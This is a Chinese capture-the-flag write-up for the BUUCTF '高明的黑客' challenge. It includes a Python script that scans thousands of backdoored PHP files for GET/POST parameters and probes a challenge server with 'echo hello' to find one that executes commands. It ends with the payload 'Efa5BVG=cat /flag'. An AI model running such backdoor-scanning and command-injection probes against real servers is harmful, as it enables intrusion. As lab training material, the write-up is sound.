buu上强网杯高明的黑客
入题就是直接给了一个压缩包下载下来之后会发现是超级多的php代码有点像日志,打开后浏览一下就会发现很多post get参数,还有内敛执行命令,猜测可以利用某个参数来进行命令执行,思路很简单,这题考的应该就是脚本能力。
代码如下,写脚本过程挺难受,也试过多线程但最后总是一些数据连在一起,目前还没解决,最后拿了大佬的脚本跑也没跑出来,下面的脚本还是用的笨方法,回头再研究一下多线程的问题吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import os import threading import requests import re s = requests.session() rootdir = 'D:\pythonwp\\buuweb\强网杯\src' file_list = os.listdir(rootdir) useful_param = [] flag = 0 def exp(file): global flag global useful_param re_GETpayload = re.compile(r'\$_GET\[\'(.*?)\'\]',) re_POSTpayload = re.compile(r'\$_POST\[\'(.*?)\'\]') path = os.path.join(rootdir, file) url = 'http://93dec788-f1ac-4f32-99e4-943960f2f002.node3.buuoj.cn/' + file print(url) with open(path,encoding='utf-8') as f: res = f.read() GET_param = re.findall(re_GETpayload,res) POST_param = re.findall(re_POSTpayload,res) if file == 'xk0SzyKwfzw.php': print(GET_param) print(POST_param) for k in range(len(POST_param)): print(POST_param[k]) res_post = s.post(url=url, data={POST_param[k]: 'echo hello'}) if 'hello' in res_post.text: print(POST_param[k]) print("ok") flag = 1 break for k in range(len(GET_param)): payload = url + "?" + GET_param[k] + "=" + 'echo hello' res_get = s.get(url=payload) if file == 'xk0SzyKwfzw.php': print(payload) if 'hello' in res_get.text: print(GET_param[k]) flag = 1 break for i in range(len(file_list)-1,-1,-1): exp(file_list[i]) if flag == 1: break
|
结果如上,可以发现可利用的php文件是xk0SzyKwfzw.php,参数为Efa5BVG,最后构造payload为Efa5BVG=cat /flag即可得到flag